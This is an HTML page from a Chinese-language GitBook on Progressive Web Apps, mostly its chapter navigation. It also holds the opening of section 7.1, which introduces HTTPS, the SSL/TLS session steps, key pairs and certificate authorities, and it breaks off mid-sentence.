\" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.8.1\" data-path=\"1-https.html\">\n            \n                <a href=\"1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"2-CSP.html\">\n            \n                <a href=\"2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"3-policy.html\">\n            \n                <a href=\"3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"4-vulnerability.html\">\n            \n                <a href=\"4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >7.1 使用 HTTPS 保护站点安全</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;-https-&#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;\"><b></b>&#x4F7F;&#x7528; HTTPS &#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#https-&#x7684;&#x6982;&#x5FF5;\"><b></b>HTTPS &#x7684;&#x6982;&#x5FF5;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;-https-&#x7684;&#x7406;&#x7531;\"><b></b>&#x4F7F;&#x7528; HTTPS &#x7684;&#x7406;&#x7531;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5347;&#x7EA7;-https\"><b></b>&#x5347;&#x7EA7; HTTPS</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x907F;&#x514D;-https-&#x7AD9;&#x70B9;&#x51FA;&#x73B0;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><b></b>&#x907F;&#x514D; HTTPS &#x7AD9;&#x70B9;&#x51FA;&#x73B0;&#x6DF7;&#x5408;&#x5185;&#x5BB9;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5904;&#x7406;-https-&#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;\"><b></b>&#x5904;&#x7406; HTTPS &#x7AD9;&#x70B9;&#x4E2D;&#x7684;&#x6DF7;&#x5408;&#x5185;&#x5BB9;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x9A8C;&#x8BC1;-https\"><b></b>&#x9A8C;&#x8BC1; HTTPS</a></li></ul></ul></ul></div><a href=\"#\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h2 id=\"&#x4F7F;&#x7528;-https-&#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;\"><a name=\"&#x4F7F;&#x7528;-https-&#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F7F;&#x7528;-https-&#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F7F;&#x7528;-https-&#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;\" class=\"plugin-anchor\" href=\"#&#x4F7F;&#x7528;-https-&#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F7F;&#x7528; HTTPS &#x4FDD;&#x62A4;&#x7AD9;&#x70B9;&#x5B89;&#x5168;</h2>\n<p>&#x6784;&#x5EFA; PWA &#x5E94;&#x7528;&#x65F6;&#xFF0C;HTTPS &#x662F;&#x5FC5;&#x4E0D;&#x53EF;&#x5C11;&#x7684;&#x6761;&#x4EF6;&#x4E4B;&#x4E00;&#x3002;&#x4F7F;&#x7528; HTTP &#x534F;&#x8BAE;&#x7684;&#x5E94;&#x7528;&#x5B58;&#x5728;&#x7740;&#x4E00;&#x5B9A;&#x7684;&#x5B89;&#x5168;&#x9690;&#x60A3;&#xFF0C;&#x8FD9;&#x662F;&#x56E0;&#x4E3A; HTTP &#x672C;&#x8EAB;&#x4E0D;&#x5177;&#x5907;&#x52A0;&#x5BC6;&#x7684;&#x529F;&#x80FD;&#xFF0C;&#x901A;&#x4FE1;&#x4E2D;&#x4F7F;&#x7528;&#x660E;&#x6587;&#x4F20;&#x8F93;&#x8BF7;&#x6C42;&#x548C;&#x54CD;&#x5E94;&#x7684;&#x5185;&#x5BB9;&#xFF0C;&#x5185;&#x5BB9;&#x53EF;&#x80FD;&#x4F1A;&#x88AB;&#x7A83;&#x542C;&#xFF0C;&#x800C;&#x4E14; HTTP &#x7F3A;&#x5C11;&#x5BF9;&#x901A;&#x4FE1;&#x53CC;&#x65B9;&#x8EAB;&#x4EFD;&#x8FDB;&#x884C;&#x6821;&#x9A8C;&#x7684;&#x73AF;&#x8282;&#xFF0C;&#x4E5F;&#x65E0;&#x6CD5;&#x8BC1;&#x660E;&#x62A5;&#x6587;&#x5185;&#x5BB9;&#x7684;&#x5B8C;&#x6574;&#x6027;&#xFF0C;&#x5B58;&#x5728;&#x8EAB;&#x4EFD;&#x4F2A;&#x88C5;&#x548C;&#x4FE1;&#x606F;&#x88AB;&#x7BE1;&#x6539;&#x7684;&#x98CE;&#x9669;&#x3002;&#x6240;&#x4EE5;&#xFF0C;&#x6211;&#x4EEC;&#x5E94;&#x8BE5;&#x4E25;&#x683C;&#x5730;&#x4F7F;&#x7528; HTTPS &#x534F;&#x8BAE;&#x6765;&#x4FDD;&#x62A4; PWA &#x7684;&#x5B89;&#x5168;&#x3002;</p>\n<h3 id=\"https-&#x7684;&#x6982;&#x5FF5;\"><a name=\"https-&#x7684;&#x6982;&#x5FF5;\" class=\"anchor-navigation-ex-anchor\" href=\"#https-&#x7684;&#x6982;&#x5FF5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"https-&#x7684;&#x6982;&#x5FF5;\" class=\"plugin-anchor\" href=\"#https-&#x7684;&#x6982;&#x5FF5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>HTTPS &#x7684;&#x6982;&#x5FF5;</h3>\n<p>HTTPS &#x5373; HTTP over SSL/TLS&#xFF08;Secure Socket Layer/Transport Layer Security&#xFF09;&#xFF0C;&#x662F; HTTP &#x7684;&#x5B89;&#x5168;&#x7248;&#x672C;&#x3002;SSL/TLS &#x662F;&#x4ECB;&#x4E8E; TCP &#x548C; HTTP &#x4E4B;&#x95F4;&#x7684;&#x4E00;&#x5C42;&#x5B89;&#x5168;&#x534F;&#x8BAE;&#xFF0C;&#x662F;&#x4E00;&#x79CD;&#x4F7F;&#x7528;&#x6BD4;&#x8F83;&#x5E7F;&#x6CDB;&#x7684;&#x5B89;&#x5168;&#x6280;&#x672F;&#xFF0C;&#x7B80;&#x5355;&#x7684;&#x8BF4;&#xFF0C;&#x662F;&#x5728; HTTP &#x4E0A;&#x52A0;&#x4E86;&#x4E00;&#x5C42;&#x5904;&#x7406;&#x52A0;&#x5BC6;&#x4FE1;&#x606F;&#x7684;&#x6A21;&#x5757;&#xFF0C;&#x6240;&#x4EE5;&#x4F7F;&#x7528; HTTPS &#x57FA;&#x672C;&#x4E0A;&#x4E0D;&#x9700;&#x8981;&#x5BF9; HTTP &#x9875;&#x9762;&#x8FDB;&#x884C;&#x592A;&#x591A;&#x7684;&#x6539;&#x9020;&#x3002;&#x6709;&#x4E9B;&#x6D4F;&#x89C8;&#x5668;&#x8BBF;&#x95EE; HTTPS &#x7684;&#x7AD9;&#x70B9;&#x65F6;&#xFF0C;&#x5728;&#x5730;&#x5740;&#x680F;&#x7684;&#x524D;&#x9762;&#x4F1A;&#x6709;&#x4E00;&#x628A;&#x7EFF;&#x8272;&#x7684;&#x9501;&#x4E00;&#x6837;&#x7684;&#x6807;&#x8BC6;&#xFF0C;&#x8868;&#x660E; HTTPS &#x751F;&#x6548;&#x4E86;&#x3002;</p>\n<p><img src=\"img/https_browser.png\" alt=\"HTTPS-browser\"></p>\n<p>HTTPS &#x7684;&#x4E3B;&#x8981;&#x4F5C;&#x7528;&#x662F;&#xFF1A;</p>\n<ol>\n<li>&#x5BF9;&#x6570;&#x636E;&#x8FDB;&#x884C;&#x52A0;&#x5BC6;&#xFF0C;&#x5E76;&#x5EFA;&#x7ACB;&#x4E00;&#x4E2A;&#x4FE1;&#x606F;&#x5B89;&#x5168;&#x901A;&#x9053;&#xFF0C;&#x6765;&#x4FDD;&#x8BC1;&#x4F20;&#x8F93;&#x8FC7;&#x7A0B;&#x4E2D;&#x7684;&#x6570;&#x636E;&#x5B89;&#x5168;;</li>\n<li>&#x5BF9;&#x7F51;&#x7AD9;&#x670D;&#x52A1;&#x5668;&#x8FDB;&#x884C;&#x771F;&#x5B9E;&#x8EAB;&#x4EFD;&#x8BA4;&#x8BC1;&#x3002;</li>\n</ol>\n<p>&#x5B83;&#x7684;&#x6838;&#x5FC3; SSL/TLS &#x534F;&#x8BAE;&#x91C7;&#x7528;&#x975E;&#x5BF9;&#x79F0;&#x52A0;&#x5BC6;&#x65B9;&#x5F0F;&#x3002;HTTPS &#x670D;&#x52A1;&#x5668;&#x62E5;&#x6709;&#x4E00;&#x5F20;&#x6570;&#x5B57;&#x8BC1;&#x4E66;&#xFF0C;&#x8BE5;&#x8BC1;&#x4E66;&#x7531;&#x5BA2;&#x6237;&#x7AEF;&#x3001;&#x670D;&#x52A1;&#x7AEF;&#x90FD;&#x4FE1;&#x8D56;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x673A;&#x6784;&#x9881;&#x53D1;&#xFF0C;&#x5B83;&#x5305;&#x542B;&#x4E86;&#x7ECF;&#x8FC7;&#x8BA4;&#x8BC1;&#x7684;&#x7F51;&#x7AD9;&#x516C;&#x94A5;&#x548C;&#x4E00;&#x4E9B;&#x5143;&#x6570;&#x636E;&#x3002;&#x516C;&#x94A5;&#x7528;&#x6765;&#x52A0;&#x5BC6;&#x4FE1;&#x606F;&#xFF0C;&#x53EF;&#x4EE5;&#x63D0;&#x4F9B;&#x7ED9;&#x6240;&#x6709;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x901A;&#x4FE1;&#x7684;&#x5BA2;&#x6237;&#x7AEF;&#xFF0C;&#x79C1;&#x94A5;&#x4FDD;&#x5B58;&#x5728;&#x672C;&#x5730;&#xFF0C;&#x4E0D;&#x80FD;&#x6CC4;&#x9732;&#x3002;&#x5BA2;&#x6237;&#x7AEF;&#x4F7F;&#x7528;&#x8FD9;&#x4EFD;&#x516C;&#x94A5;&#x5BF9;&#x4FE1;&#x606F;&#x8FDB;&#x884C;&#x52A0;&#x5BC6;&#xFF0C;&#x5C06;&#x8BF7;&#x6C42;&#x53D1;&#x9001;&#x7ED9;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x7528;&#x79C1;&#x94A5;&#x89E3;&#x5BC6;&#x3002;&#x53CD;&#x4E4B;&#xFF0C;&#x670D;&#x52A1;&#x5668;&#x5BF9;&#x5BA2;&#x6237;&#x7AEF;&#x7684;&#x8FD4;&#x56DE;&#xFF0C;&#x5219;&#x4F7F;&#x7528;&#x5BA2;&#x6237;&#x7AEF;&#x63D0;&#x4F9B;&#x7684;&#x516C;&#x94A5;&#x8FDB;&#x884C;&#x52A0;&#x5BC6;&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#x4F7F;&#x7528;&#x672C;&#x5730;&#x5BF9;&#x5E94;&#x7684;&#x79C1;&#x94A5;&#x6765;&#x89E3;&#x5BC6;&#xFF0C;&#x4FDD;&#x8BC1;&#x901A;&#x4FE1;&#x5B89;&#x5168;&#x3002;</p>\n<p>&#x57FA;&#x4E8E; SSL/TLS &#x8FDB;&#x884C;&#x4E00;&#x6B21;&#x7684; HTTPS &#x4F1A;&#x8BDD;&#x7684;&#x8FC7;&#x7A0B;&#xFF0C;&#x7B80;&#x5355;&#x5730;&#x8BF4;&#x53EF;&#x4EE5;&#x5206;&#x6210;&#x51E0;&#x6B65;&#xFF1A;</p>\n<ol>\n<li>&#x5BA2;&#x6237;&#x7AEF;&#x5411;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x7D22;&#x8981;&#x5E76;&#x9A8C;&#x8BC1;&#x8BC1;&#x4E66;&#x516C;&#x94A5;&#xFF0C;&#x51B3;&#x5B9A;&#x662F;&#x5426;&#x7EE7;&#x7EED;&#x901A;&#x4FE1;&#x3002;</li>\n<li>&#x5BA2;&#x6237;&#x7AEF;&#x751F;&#x6210; &quot;&#x5BF9;&#x8BDD;&#x5BC6;&#x94A5;&quot;&#xFF0C;&#x5E76;&#x7528;&#x516C;&#x94A5;&#x52A0;&#x5BC6;&#x8FD4;&#x56DE;&#x7ED9;&#x670D;&#x52A1;&#x5668;&#x3002;</li>\n<li>&#x670D;&#x52A1;&#x5668;&#x7528;&#x79C1;&#x94A5;&#x89E3;&#x5BC6;&#xFF0C;&#x83B7;&#x53D6;&#x5BC6;&#x94A5;&#xFF0C;&#x4F7F;&#x7528;&#x5BC6;&#x94A5;&#x52A0;&#x5BC6;&#x8FD4;&#x56DE;&#x5185;&#x5BB9;&#xFF0C;&#x8FD4;&#x56DE;&#x7ED9;&#x5BA2;&#x6237;&#x7AEF;&#x3002;</li>\n<li>&#x5BA2;&#x6237;&#x7AEF;&#x4F7F;&#x7528; &quot;&#x5BF9;&#x8BDD;&#x5BC6;&#x94A5;&quot; &#x89E3;&#x5BC6;&#x5185;&#x5BB9;&#xFF0C;&#x62FF;&#x5230;&#x7ED3;&#x679C;&#x3002;</li>\n</ol>\n<p><img src=\"img/https_process.png\" alt=\"HTTPS\"></p>\n<p>&#x5982;&#x4E0A;&#x6D41;&#x7A0B;&#xFF0C;&#x7ECF;&#x8FC7;&#x4E86;&#x8EAB;&#x4EFD;&#x8BA4;&#x8BC1;&#x3001;&#x4FE1;&#x606F;&#x52A0;&#x5BC6;&#x7B49;&#x6B65;&#x9AA4;&#xFF0C;&#x7F51;&#x7EDC;&#x901A;&#x4FE1;&#x5B89;&#x5168;&#x5C31;&#x5F97;&#x5230;&#x4E86;&#x4FDD;&#x969C;&#x3002;&#x5728;&#x8FD9;&#x91CC;&#x6D89;&#x53CA;&#x5230;&#x4E00;&#x4E9B;&#x91CD;&#x8981;&#x7684;&#x5B89;&#x5168;&#x672F;&#x8BED;&#xFF0C;&#x5982;&#x516C;&#x94A5;/&#x79C1;&#x94A5;&#x3001;&#x8BC1;&#x4E66;&#x529E;&#x6CD5;&#x673A;&#x6784;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x3002;</p>\n<p><strong>&#x516C;&#x94A5;&#x548C;&#x79C1;&#x94A5;&#x5BF9;</strong></p>\n<p>&#x516C;&#x94A5;/&#x79C1;&#x94A5;&#x5BF9;&#x662F;&#x4E00;&#x5BF9;&#x5F88;&#x957F;&#x7684;&#x6570;&#x5B57;&#xFF0C;&#x53EF;&#x7528;&#x4F5C;&#x52A0;&#x5BC6;&#x5BC6;&#x94A5;&#x548C;&#x89E3;&#x5BC6;&#x5BC6;&#x94A5;&#xFF0C;&#x5B83;&#x4EEC;&#x5171;&#x7528;&#x4E00;&#x79CD;&#x7279;&#x522B;&#x7684;&#x6570;&#x5B66;&#x5173;&#x7CFB;&#x3002;&#x6700;&#x5E38;&#x89C1;&#x7684;&#x5BC6;&#x94A5;&#x5BF9;&#x7CFB;&#x7EDF;&#x4E4B;&#x4E00;&#x5C31;&#x662F; RSA &#x52A0;&#x5BC6;&#x7CFB;&#x7EDF;&#x3002;&#x516C;&#x94A5;&#x7528;&#x4E8E;&#x52A0;&#x5BC6;&#x6D88;&#x606F;&#xFF0C;&#x5E76;&#x4E14;&#x6D88;&#x606F;&#x53EA;&#x80FD;&#x4F7F;&#x7528;&#x5BF9;&#x5E94;&#x7684;&#x79C1;&#x94A5;&#x6765;&#x89E3;&#x5BC6;&#x3002;&#x670D;&#x52A1;&#x5668;&#x4F1A;&#x5C06;&#x5176;&#x516C;&#x94A5;&#x516C;&#x5E03;&#x51FA;&#x6765;&#xFF0C;&#x5BA2;&#x6237;&#x7AEF;&#xFF08;&#x5982;&#x6D4F;&#x89C8;&#x5668;&#xFF09;&#x5C06;&#x4F7F;&#x7528;&#x6B64;&#x5BC6;&#x94A5;&#x6765;&#x5EFA;&#x7ACB;&#x4E00;&#x4E2A;&#x4E0E;&#x670D;&#x52A1;&#x5668;&#x5B89;&#x5168;&#x901A;&#x4FE1;&#x7684;&#x901A;&#x9053;&#x3002;</p>\n<p><strong>&#x8BC1;&#x4E66;&#x9881;&#x53D1;&#x673A;&#x6784;</strong></p>\n<p>&#x8BC1;&#x4E66;&#x9881;&#x53D1;&#x673A;&#x6784; (Certificate Authority) &#x662F;&#x4E00;&#x4E2A;&#x53D7;&#x4FE1;&#x4EFB;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x7EC4;&#x7EC7;&#xFF0C;&#x5B83;&#x4E3A;&#x6BCF;&#x4E2A;&#x4F7F;&#x7528;&#x516C;&#x5F00;&#x5BC6;&#x94A5;&#x7684;&#x7AD9;&#x70B9;&#x5BA2;&#x6237;&#x53D1;&#x653E;&#x4E00;&#x4E2A;&#x6570;&#x5B57;&#x8BC1;&#x4E66;&#xFF0C;&#x6570;&#x5B57;&#x8BC1;&#x4E66;&#x7684;&#x4F5C;&#x7528;&#x662F;&#x8BC1;&#x660E;&#x8BE5;&#x7AD9;&#x70B9;&#x5408;&#x6CD5;&#x5730;&#x62E5;&#x6709;&#x8BC1;&#x4E66;&#x4E2D;&#x5217;&#x51FA;&#x7684;&#x516C;&#x5F00;&#x5BC6;&#x94A5;&#xFF0C;CA &#x673A;&#x6784;&#x7684;&#x6570;&#x5B57;&#x7B7E;&#x540D;&#x4F7F;&#x5F97;&#x8BE5;&#x8BC1;&#x4E66;&#x4E0D;&#x80FD;&#x88AB;&#x4F2A;&#x9020;&#x548C;&#x7BE1;&#x6539;&#x3002;&#x5305;&#x542B;&#x6709; CA 